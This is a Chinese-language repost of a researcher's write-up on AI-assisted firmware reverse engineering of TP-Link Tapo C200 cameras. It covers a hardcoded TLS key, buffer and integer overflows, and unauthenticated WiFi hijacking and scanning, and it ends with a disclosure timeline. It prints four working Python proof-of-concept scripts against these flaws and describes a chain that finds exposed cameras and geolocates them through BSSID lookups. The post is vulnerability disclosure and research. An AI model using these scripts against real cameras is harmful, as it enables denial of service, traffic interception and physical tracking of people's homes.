TP-LinkTapoC200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

admin 2025-12-25 03:07:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了利用人工智能对TP-LinkTapoC200摄像头的逆向分析,发现硬编码私钥、缓冲区溢出及未授权WiFi劫持等高危漏洞。这些问题可导致拒绝服务、流量劫持及物理定位。文章展示了AI辅助逆向的高效性,记录了披露流程,建议用户及时更新固件以修补安全缺陷。 综合评分: 92 文章分类: 逆向分析,IoT安全,漏洞分析,漏洞POC


cover_image

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

Ots安全

2025年12月23日 12:01 广东

威胁简报

恶意软件

漏洞攻击

各位朋友,欢迎来到今年的最后一篇博文!每当有人问我如何入门逆向工程时,我的建议总是千篇一律:买你能找到的最便宜的IP摄像头。这些设备就像一个个独立的小生态系统——你可以提取它们的固件,嗅探网络协议,反编译它们的移动应用。很有可能,你会发现一些有趣的东西。最差的情况,你也能学到很多关于汇编语言和嵌入式系统的知识。最好的情况,你甚至可能找到一个极具价值的漏洞,并学会如何利用它!

我自己也拥有几台TP-Link Tapo C200摄像头。它们价格便宜(从意大利买不到20欧元),稳定性出奇地好,而且我真心喜欢它们——它们用起来很顺手。某个周末,我一时兴起,决定实践一下自己的建议。Tapo C200已经面世一段时间了,这些年来也发现了一些CVE漏洞,并且基本都得到了修复,所以我并不指望能在最新的固件中找到什么新东西。不过,我还是想借此机会进行一些AI辅助的逆向工程,看看是否还能找到任何蛛丝马迹。

我在Arcadia上全程记录了整个过程——我的思考过程、遇到的死胡同、有效和无效的 AI 提示。如果你想看未经任何处理的原始版本,包括截图和崩溃视频,那就去看看吧。

这篇文章是那段旅程的精简版,我想展示一下如今有了人工智能之后,我是如何进行固件分析的。你会注意到,在某些情况下,我会偷懒,把一些原本可以手动完成或经过一番推导就能得出结果的工作交给人工智能。请记住,虽然我通常比较懒,但这同时也是一次实验,旨在探索如何将人工智能整合并记录下来,以证明它在安全研究和逆向工程中的有效性,尤其是在让经验不足的研究人员/攻击者也能轻松上手方面。

原本只是想利用周末时间做个小项目,结果却发现了一些安全漏洞,这些漏洞会影响到大约 25,000 台直接暴露在互联网上的设备。

获取固件

工具

  • 老朋友JD-GUI:https://java-decompiler.github.io/帮我逆向工程 Android 应用,了解情况。
  • 用于下载固件映像的 AWS CLI:https://aws.amazon.com/cli/ 。
  • binwalk用于固件检查:https://github.com/ReFirmLabs/binwalk。
  • Grok提供人工智能辅助的快速查看先前研究:https://grok.com/。

第一步始终是获取固件二进制文件,这次超级简单!在对Tapo Android 应用进行了一些基本的逆向工程后,我发现 TP-Link 将其所有固件库都放在一个开放的 S3 存储桶中。无需身份验证。因此,您可以列出并下载他们发布过的所有设备的所有固件版本:

$ aws s3 ls s3://download.tplinkcloud.com/ --no-sign-request --recursive

完整的输出文件在这里,供感兴趣的人查看。这提供了所有TP-Link设备的固件镜像——路由器、摄像头、智能插座等等,应有尽有。简直是逆向工程师的天堂。

我下载了适用于 C200(硬件版本 3)的1.4.2 Build 250313 Rel.40499nTapo_C200v3_en_1.4.2_Build_250313_Rel.40499n_up_boot-signed_1747894968535.bin版本,并开始进行研究。然而,第一次尝试使用 binwalk 识别其格式时失败了,这表明其中使用了某种加密或混淆技术。

正是在这里,我开始使用人工智能。我使用 Grok对这些摄像头的固件解密方法进行了深入研究。由于我知道其他黑客之前已经做过类似的事情,所以我将搜索数百个相关网页的任务委托给了人工智能:

解密固件

工具

  • tp -link-decrypt工具用于解密固件映像:https://github.com/robbins/tp-link-decrypt。
  • binwalk用于固件检查:https://github.com/ReFirmLabs/binwalk。

多亏了 Grok、tp-link-decrypt工具以及所有设备固件镜像似乎都采用完全相同的加密方式这一事实,我们现在可以解密固件了。该工具从 TP-Link 自己发布的 GPL 代码中提取 RSA 密钥——作为其开源义务的一部分,TP-Link 会自行发布解密密钥。

感谢 @watchfulip 对TP-Link 固件进行的大量原始研究,以及 @tangrs发现相关二进制文件已发布在 TP-Link GPL 代码转储中,并介绍了如何从中提取密钥。

$ git clone https://github.com/robbins/tp-link-decrypt
$cd tp-link-decrypt
$ ./preinstall.sh # 安装依赖项
$ ./extract_keys.sh # 从 TP-Link 的 GPL 代码中提取 RSA 密钥
$ make
$ bin/tp-link-decrypt Tapo_C200_firmware.bin

解密后,固件显示出一个相当标准的结构:引导加载程序、内核和 SquashFS 根文件系统。

$ binwalk -e Tapo_C200_v3_1.4.2_decrypted.bin

寻找BUG

工具

  • Ghidra用于反编译和理解 MIPS 二进制文件
  • 使用GhidraMCP让 AI 连接到我正在运行的 Ghidra 实例,并在过程中为我提供支持。
  • Cline 将请求人工智能探索文件系统并发现有趣的组件。
  • 人类学的《作品》和《十四行诗4》 的混合体。

提取出来后,我使用 AI 和 Cline 来探索文件系统,寻找哪些组件处理发现协议、摄像头 Web API、视频流等,这些组件都是在逆向 Android 应用时发现的。

加载 Ghidra 并快速查看tp_manage二进制文件后,发现了第一个有趣的地方:

这个私钥并非在启动时生成。与 C500 的 CVE-2025-1099类似,C200 将用于某些 API 的 SSL 私钥嵌入到其固件中。如果您与摄像头位于同一网络中,您可以利用从固件镜像中提取的密钥进行中间人攻击 (MitM) 并解密其 HTTPS 流量,而无需触碰任何硬件。对于用于直播用户家庭视频的监控摄像头而言,这显然不是理想的情况。

我不断加载其他有趣的二进制文件,并使用 Ghidra 中的 AI 对其进行探索,以便快速了解其主要特性和攻击者可能的入口点。

让人工智能解释某个函数及其与其他函数的关系,已被证明非常有用,例如,可以帮助理解加密/混淆例程和网络协议处理程序。这让你可以继续深入研究:

对人工智能所能提供的更高层次的理解:

我发现另一种特别有效的方法是,让AI分析一个感兴趣的函数,并根据上下文将其变量和参数重命名为有意义的名称。然后对它调用的函数执行相同的操作,递归地沿着你感兴趣的分支进行操作。经过几次迭代后,原本的代码会FUN_0042eb7c(undefined2 *param_1, undefined4 param_2, int param_3)变成handleConnectAp(connection *conn, int flags, json *params)——突然间,反编译后的代码几乎和原始源代码一模一样了。

这种迭代改进方法,在我看来是人机协作的绝佳范例,因为单独使用任何一方都无法达到如此高的效率。我正是利用这种方法映射了大部分HTTP处理程序、发现协议等等。以下是我的主要发现。有关此过程的更多细节,请参阅原始Discord讨论串。

顺便一提,我并没有深入研究以下漏洞的可利用性,主要是因为我不熟悉 MIPS 架构,而且这也不是我的本意。不过,一旦通过物理访问获得 shell,由于/bin/gdbserver固件中存在相应的二进制文件,利用这些漏洞执行代码就相对容易了。

漏洞 1:ONVIF SOAP XML 解析器预认证内存溢出 (CVE-2025-8065)

Tapo C200 通过/bin/main监听 2020 端口的服务器提供 ONVIF 服务,以实现与标准视频管理系统的互操作性。问题在于它解析 SOAP XML 请求的方式。

处理 XML 元素时,解析器(soap_parse_and_validate_request位于0x0045ae8c)调用时ds_parse不会对元素数量或总内存分配进行任何边界检查。如果发送的 XML 元素数量过多,就会造成内存溢出。

以下是概念验证:

#!/usr/bin/env python3
import urllib.request
import sys

TARGET = sys.argv[1]
ONVIF_PORT = 2020

# Generate 100,000 XML elements - this will overflow the parser
params = ''.join([f'<SimpleItemName="Param{i}"Value="{"X" *&nbsp;100}"/>'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for i in range(100000)])

body = f'''<?xml version="1.0"&nbsp;encoding="UTF-8"?>
<soap:Envelopexmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<CreateRulesxmlns="http://www.onvif.org/ver20/analytics/wsdl">
<ConfigurationToken>test</ConfigurationToken>
<Rule>
<Name>TestRule</Name>
<Type>tt:CellMotionDetector</Type>
<Parameters>{params}</Parameters>
</Rule>
</CreateRules>
</soap:Body>
</soap:Envelope>'''

req = urllib.request.Request(f"http://{TARGET}:{ONVIF_PORT}/onvif/service",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data=body.encode('utf-8'))
req.add_header('Content-Type', 'application/soap+xml')
urllib.request.urlopen(req, timeout=30)

发送此消息后,相机崩溃,需要重启电源才能恢复。

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Ots安全已关注

分享视频

,时长00:15

0/0

00:00/00:15

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:15

00:15

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

观看更多

转载

,

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

Ots安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

该漏洞已被分配编号CVE-2025-8065 。

CVSS v4.0 分数:7.1 / 高

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

漏洞 2:HTTPS 身份验证前内容长度整数溢出 (CVE-2025-14299)

运行在 443 端口的 HTTPS 服务器例程在其Content-Length头部解析过程中存在经典的整数溢出漏洞。易受攻击的函数0x004bd054执行以下操作:

iVar1 = atoi(value);
param_1->content_length = iVar1;

就是这样。没有边界检查,没有验证,直接atoi()使用用户输入的原始数据。

在 32 位系统中,atoi(“4294967295”)这会导致整数溢出,从而导致未定义行为。在这种情况下,相机会崩溃:

#!/usr/bin/env&nbsp;python3
import socket
import ssl
import sys

TARGET = sys.argv[&nbsp;1&nbsp;]

GET =&nbsp;f"""POST / HTTP/1.1\r
Host:&nbsp;{TARGET} \r
Content-Length:&nbsp;4294967295\r
Content-Type: application/octet-stream\r
Connection:&nbsp;close\r
\r
AAAA"""

context = ssl.create_default_context()
context.check_hostname = False
&nbsp;context.verify_mode = ssl.CERT_NONE

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = context.wrap_socket(sock, server_hostname=TARGET)
ssl_sock.connect((TARGET,&nbsp;443&nbsp;))
ssl_sock.send(request.encode())

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Ots安全已关注

分享视频

,时长00:25

0/0

00:00/00:25

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:25

00:25

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

观看更多

转载

,

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

Ots安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

又一次崩溃 💪 CVE-2025-14299已被分配给此漏洞。

CVSS v4.0 分数:7.1 / 高

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

漏洞 3:预授权 WiFi 劫持 (CVE-2025-14300)

摄像头公开了一个名为 <api\_endpoint> 的 API 端点connectAp,用于初始设置期间配置 WiFi。问题是?即使摄像头已完全设置并连接到您的网络,无需任何身份验证即可访问该端点。

该易受攻击的处理0x0042eb7c程序在未进行任何身份验证检查的情况下处理请求:

voidconnectApHandler(undefined2 *param_1,undefined4 param_2,int&nbsp;json_params)
{
&nbsp; &nbsp;&nbsp;// No authentication check here - just processes the request
&nbsp; &nbsp; jso_add_string(iVar3,"method","connectAp");
&nbsp; &nbsp; jso_obj_add(iVar3,"params",iVar2);
&nbsp; &nbsp; iVar1 = ds_tapo_handle(param_1);
}

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Ots安全已关注

分享视频

,时长00:09

0/0

00:00/00:09

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:09

00:09

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

观看更多

转载

,

TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题

Ots安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

这个漏洞利用起来很简单:

#!/usr/bin/env python3
import&nbsp;urllib.request
import&nbsp;ssl
import&nbsp;sys

TARGET&nbsp;= sys.argv[1]

# No auth needed - just send it
payload&nbsp;= '{"method":"connectAp","params":{"onboarding":{"connect":{"ssid":"EVIL_NETWORK","bssid":"11:11:11:11:11:11","auth":3,"encryption":2,"rssi":3,"password":"hacked","pwd_encrypted":0}}}}'

context&nbsp;= ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

req&nbsp;= urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
req.add_header('Content-Type', 'application/json')
urllib.request.urlopen(req, context=context, timeout=10)

这使得远程攻击者可以:

  • 断开摄像头与其合法网络的连接(DoS攻击)

如果在 WiFi 信号范围内:

  • 强制其连接到攻击者控制的网络(中间人攻击)
  • 一旦视频流量进入恶意网络,就将其拦截(虽然我们其实并不需要这样做,因为正如前面提到的,HTTPS 私钥是由所有设备共享的 XD)。
  • 即使 WiFi 所有者更改了 WiFi 密码,也要保持持续访问。

该漏洞已被分配编号CVE-2025-14300 。

CVSS v4.0 分数:8.7 / 高

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

漏洞 4:附近 WiFi 网络扫描的预授权

与 Bug 3 相关,scanApList即使设备未处于引导模式,该方法也无需身份验证即可访问。此端点返回摄像头可见的所有 WiFi 网络列表:

#!/usr/bin/env python3
import&nbsp;urllib.request
import&nbsp;ssl
import&nbsp;sys

TARGET = sys.argv[1]

payload =&nbsp;'{"method":"scanApList","params":{}}'

context = ssl.create_default_context()
context.check_hostname =&nbsp;False
context.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
req.add_header('Content-Type',&nbsp;'application/json')
response = urllib.request.urlopen(req, context=context, timeout=10)
print(response.read().decode())

对互联网上公开的其中一台设备进行测试:

考虑到互联网上暴露的此类设备数量众多,这一点尤其令人担忧。攻击者可以远程枚举摄像头附近的WiFi网络,包括:

  • 附近网络的SSID
  • BSSID(接入点的 MAC 地址)
  • 信号强度(可用于三角定位)
  • 安全配置

更糟糕的是:像apple_bssid_locator这样的工具可以使用 BSSID 查询 Apple 的位置服务 API,并返回精确的 GPS 坐标。

这意味着攻击者可以:

  • 通过 ZoomEye、Shodan 或类似索引等服务查找暴露的 Tapo 摄像头
  • 用于scanApList检索附近 WiFi BSSID
  • 使用这些 BSSID 查询苹果的位置数据库
  • 将摄像头的实际位置精确到几米以内。

远程攻击者不仅可以看到摄像头周围有哪些 WiFi 网络,还可以确定摄像头(以及由此推断的摄像头所监控的房屋或企业)在地图上的确切位置。

披露

我决定遵循行业标准的 90+30天负责任披露流程;以下是时间表:

  • 2025年7月22日:已向TP-Link安全团队([email protected])发送初步报告,其中包含完整的技术细节、PoC漏洞利用程序和视频。所有内容均按照他们的指南编写。
  • 2025年7月22日:收到确认函。
  • 2025年8月22日:TP-Link确认他们仍在审查该报告。
  • 2025 年 9 月 27 日:TP-Link 做出回应,并将修复补丁的发布时间定为 2025 年 11 月底。
  • 2025年11月:什么也没发生。
  • 2025年12月1日:发送后续邮件,未收到回复。
  • 2025 年 12 月 4 日:发送了另一封后续邮件,TP-Link 回复称,补丁将进一步推迟到下周。
  • 接下来的一周:什么也没发生。
  • 2025年12月19日: 150天后公开披露。
  • 2025 年 12 月 20 日:TP-Link 终于发布了针对 CVE-2025-8065、CVE-2025-14299 和 CVE-2025-14300 的安全公告。

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《TP-Link Tapo C200:人工智能辅助逆向工程时代的硬编码密钥、缓冲区溢出和隐私问题》

评论:0   参与:  3